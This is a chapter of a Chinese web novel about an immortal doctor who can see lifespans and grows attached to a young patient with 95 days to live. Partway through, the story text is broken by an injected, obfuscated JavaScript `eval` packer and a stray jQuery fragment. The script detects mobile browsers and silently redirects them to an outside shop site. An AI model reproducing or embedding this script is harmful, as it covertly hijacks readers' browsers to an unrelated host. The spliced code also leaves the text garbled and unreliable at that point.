那种感觉很奇怪。
我说不上来是什么。我对病人早就没有同情了——这话讲出来大概会被吊销医师资格证，但事实如此，三百多年，同情心这种东西就跟旧毛巾一样，洗着洗着就硬了、薄了、不好用了。
也不像好奇。单纯的好奇支撑不了三分钟。
别的什么。某种我说不清楚的、如同有人在结了冰的湖面上轻轻跺了一脚的感觉。
咔。
冰没碎。但你知道下面有水在流。
我后来回想，大概从第一面开始，程昇这个人对我来说就不一样。
只是我当时不愿意承认。
或者说，我根本没往那个方向想。
一个活了三百多年的老光棍，怎么可能往那个方向想？
接下来几天，我开始不自觉地往十六床跑。
当然，用的是非常冠冕堂皇的理由——查房、问诊、看检查报告、调整用药方案。医生多查几次房怎么了？爱岗敬业不行吗？
夏姐看我的眼神一开始是欣慰的，后来变成疑惑，再后来变成一种我说不上来的意味深长。
“江医生，”第四天的时候她在护士站拦住我，“你这两天十六床查得有点勤啊。”
“新病人，多观察。”我面不改色。
“嗯，”夏姐点点头，表情非常正经，“那你观察到什么了？”
我张了张嘴，发现居然答不上来。观察到他每天早上七点准时起床，靠在床头看一会儿窗外，然后拿起那本《百年孤独》继续看。他的床头柜上永远只有三样东西：书、水杯、一包没拆封的湿巾。没有任何人来探望他，他的手机几乎不响，偶尔响起来也是骚扰电话，他接起来说一句“不用了谢谢”就挂掉。
观察到他的平静是真的。
他特别真实。
这让我非常不舒服。
因为我知道死亡是什么。我知道当一个人头顶的数字变成个位数的时候，他会经历什么——否认、愤怒、挣扎、绝望、接受。这是教科书上的五个阶段，我在三百多年里亲眼验证了无数次，准确率百分之九十九点九的循环。
但程昇没有。
他直接从起点跳到了终点。他好像早就接受了。
不，不对。
他“本来就没当回事”。
这太不对劲了。
第五天，我终于没忍住。
那天下午没什么事，我查完房之后又晃到了十六床。程昇正靠在床头看书，见我进来，把书放下，用那种礼貌到让人生气的语气说：“江医生，下午好。”
“下午好。”我拉了把椅子在床边坐下。
他看了我一眼。
“今天感觉怎么样？”我问。
“还好。”
“有没有哪里不舒服？”
“没有。”
“胃口怎么样？”
“吃了半碗粥。”
“睡觉呢？”
“睡了六个小时。”
一问一答，标准流程。我们之间好像有一道看不见的玻璃墙，他站在那边，礼貌克制、滴水不漏，我站在这边，抓耳挠腮、无计可施。
我沉默了几秒，决定打破这个该死的流程。
“程昇。”我叫他的名字。
“嗯。”
“你害怕吗？”
他翻书的手停了。
窗外有一阵风吹进来，吹得窗帘轻轻晃动。午后的阳光在床单上画出一块明亮的方形，他的手指就搁在那块光的边缘。
“江医生，”他抬起头看我，表情依然平静，“你是问我怕不怕死？”
“对。”
他把书合上，放在膝盖上。
“如果我说不怕，”他说，“你会觉得我在逞强。如果我说怕，你会觉得我应该如此。所以你希望我怎么回答？”
我被他问住了。
这个人说话的方式很奇怪。他用一个反问把我的问题挡了回来。
“你就说你自己的真实想法。”我说。
他沉默了一会儿。
阳光慢慢移到他脸上，他微微眯了眯眼，睫毛在颧骨上投下一小片阴影。
“我其实没怎么想过这个问题，”他说，“从确诊到现在，医生换了好几个，检查做了一堆，结论都是‘不确定’‘不好说’‘再观察’。折腾了大半年，说实话，累了。”
“累了？”
“嗯，”他点点头，语气很平淡，“一开始当然不甘心。但不甘心又能怎样，该做的都做了，该花的钱都花了，该跑的医院都跑了。到最后你会发现，有些事情不是你努力就能改变的。”
“所以你放弃了？”
他看了我一眼。
“不是放弃，”他说，“是接受。”
“有区别吗？”
“有，”他说，“放弃是你还有力气但不使了，接受是你承认自己没有力气了。”
我忽然不知道该怎么接话。
房间里安静了几秒。窗外传来救护车的鸣笛声，由远及近，又由近及远，最后消失在住院部大楼的另一侧。
“江医生，”他突然开口，“你见过很多死人吧？”
“嗯，”我说，“很多。”
“那你觉得，死到底是什么？”
又是那种认真的语气。不是随便问问，不是为了聊天，是他真的想知道。
我想了想。
“从医学角度来说，”我开口，“死亡是心跳停止、呼吸停止、脑电波消失。从哲学角度来说——”
“我问的是你，”他打断我，语气依然很平，“不是医学，不是哲学。你自己怎么想的？”
我看着他。
他也看着我，目光平静而专注。
那一瞬间，我有一种奇怪的错觉——好像我们之间那道玻璃墙突然变薄了，薄到我能隐约看见墙那边的风景。
但我看不清。
“死就是…”我慢慢地说却憋不出后半句。整个人愣住了，“我也不知道死是什么。”
他听完，没什么特别的表情，只是微微点了点头。
“那你觉得，”他说，“存在过又消失了，和从来没存在过，哪个更惨？”
这个问题，从一个只剩九十来天寿命的人嘴里问出来，分量完全不一样。
“我不知道。”我说，声音有点干。
“我也不知道，”他把目光移向窗外，“所以我在看这本书。”
他指的是那本《百年孤独》。
“马尔克斯说，一个人真正的死亡不是停止呼吸，是被所有人遗忘，”他翻开书，翻到某一页，低头看了几行，“我在想，如果注定要被遗忘，那被遗忘得快一点和慢一点，有什么区别。”
“你在担心这个？”
“也不是担心，”他合上书，淡淡地说，“就是偶尔会想，何况也没人记得我，更谈不上遗忘了。”
他说话的方式永远是这样——明明在说很重的事情，语气却总是很轻。
我靠在椅背上，看着他的侧脸。阳光给他描了一层淡金色的轮廓，他的睫毛很长，低着头的时候会在眼睛下面投下一小片阴影。他的手指修长而苍白，搭在书页上的时候，像易碎的瓷器。
二十四岁。
九十五天。
我在心里把这两个数字翻来覆去地念了几遍，念着念着，忽然冒出一个想法。
这个想法一冒出来我就吓了一跳。
我想的是：如果他不是凡人呢？如果他也是永生者呢？那他的头顶就不会有这个该死的数字，他就会一直活下去，活三百年，活三千年，活到跟我一样对什么都提不起兴趣——
不。
他是凡人。
九十五天之后，他就会死。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680902|207687||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
而我甚至不知道他得了什么病。
“程昇。”我开口。
“嗯。”
“你的检查报告，可以给我看看吗？”
他转过头看我，眼睛里闪过一丝意外。
“之前的医生都看过了，”他说，“没什么用。”
“我想看看。”
他没再说什么，从床头柜的抽屉里拿出一个牛皮纸文件袋递给我。
我接过来，打开。
里面的报告很厚，各医院的CT、核磁、血液检查、基因检测，什么都有。我一页一页地翻，越翻越觉得不对劲。
从各项指标来看，他的身体确实在衰竭——肝肾功能下降，心肌酶谱异常，免疫功能紊乱，但所有指标都指向一个奇怪的结论：这不是任何一种已知的疾病。
他的身体就像一台被拔掉电源的机器，所有的零件都是好的，但就是在一点一点地停下来。
没有原因。
没有办法。
我合上报告，沉默了很长时间。
“怎么了？”他问。
“没什么，”我说，“确实很奇怪。”
“是啊，”他的语气里终于有了一丝自嘲，“连死都不知道怎么死的，挺丢人的。”
“……这不是丢不丢人的问题。”
“我知道，”他说，“我就是开个玩笑。”
他说完这句话，嘴角微微弯了一下。
很淡，很快，一闪而过，快得我差点以为是错觉。
但那一下，我心底结了几百年冰的湖面，咔，又响了一声。
我忽然站起来。
“我明天再来。”我说。
他点点头，重新拿起那本书。
走出病房的时候，我在门口站了几秒。走廊的日光灯发出低低的嗡鸣，远处有人在咳嗽，有家属在打电话，有护士推着治疗车轮子碾过地面的声音。一切都跟平时一样，吵吵闹闹，生生死死。
那天晚上我去找前辈。
酒吧里没什么人，前辈站在吧台后面，用那块擦了三千年的抹布擦拭一只新的威士忌杯。
“前辈。”我在老位子坐下。
“嗯。”
“我遇到一个人。”
前辈擦杯子的手没停，但他的眉毛微微动了一下。对他来说，这已经是相当大的反应。
“凡人？”他问。
“嗯。”
“多少天？”
“九十五。”
前辈放下杯子，拿起另一只。
“江拾，”他说，“你知道自己在做什么吗？”
“我没做什么。”
“你每周来我这两三次，在医院待了七年，从来没跟我提过任何一个凡人。现在你专门跑来，就为了告诉我你遇到一个人，还剩九十五天。”
他把擦好的杯子放在吧台上，抬起头看我。
他看起来只有三十出头，但他的眼睛是三千二百年的眼睛。被这样一双眼睛看着，有一种被剥光了的感觉。
“所以呢？”我说。
“所以，你自己想清楚。”
他没再说别的，转身去拿酒。琥珀色的液体倒进杯子里，发出好听的水声，推到我的面前。
“请你喝，”他说，“活了三百多年，也该学学怎么喝酒了。”
我看着那杯酒，想起程昇床头那杯凉白开。
一个人喝凉白开，另一个人喝三百年陈的威士忌。
一个人剩九十五天，另一个人剩无穷无尽。
这画面让我觉得荒诞。
荒诞到我想笑。
但我笑不出来。
永生者手册：
2.永生者作为驾驭生命的存在，拥有能够看到任何生物寿命的能力，但有趣的是，永生者无法看到永生者的寿命。
程昇剩余寿命：95天